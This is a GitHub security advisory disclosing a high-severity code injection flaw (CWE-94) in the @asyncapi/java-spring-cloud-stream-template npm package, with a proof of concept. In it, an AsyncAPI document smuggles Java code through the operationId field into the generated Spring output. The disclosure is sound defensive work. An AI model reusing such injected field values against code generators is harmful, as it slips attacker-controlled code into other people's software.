Code injection issue for java-spring-cloud-stream-template

High   **fmvilas** published **GHSA-xj6r-2jpm-qvxp** on Aug 11, 2021

Package

🗍 **@asyncapi/java-spring-cloud-stream-template** (npm)

Affected versions	Patched versions
<= 0.6.9	0.7.0

Description

The following was initially reported by **@jonaslagoni**:

Given the following command:

```
ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output
```

With the following AsyncAPI document:

```
{
  "asyncapi": "2.0.0",
  "info": {
    "title": "Streetlight",
    "version": "1.0.0"
  },
  "defaultContentType": "json",
  "channels": {
    "security/audit/channel": {
      "description": "Channel for the turn on command which should turn on the streetlight",
      "parameters": {
        "streetlight_id": {
          "description": "The ID of the streetlight",
          "schema": {
            "type": "string"
          }
        }
      },
      "publish": {
        "operationId": "test() { System.out.println(\"injected\"); return test(0); }\n public Consumer<CustomClass> someothername",
        "message": {
          "name": "TurnonCommand",
          "payload": {
            "$ref": "#/components/schemas/CustomClass"
          }
        }
      }
    }
  },
  "components": {
    "schemas" : {
      "CustomClass": {
        "type": "object",
        "properties": {
          "prop": {
            "type": "string"
          }
        }
      }
    }
  }
}
```

Which changes the following output:

```
...
    @Bean
    public Consumer<CustomClass> test() {
        // Add business logic here.
        return null;
    }
...
```

To

```
...
    @Bean
    public Consumer<CustomClass> test() { System.out.println("injected"); return someothername(); }
    public Consumer<CustomClass> someothername() {
        // Add business logic here.
        return null;
    }
...
```

Severity

High

CVE ID

Weaknesses

CWE-94

Credits

 jonaslagoni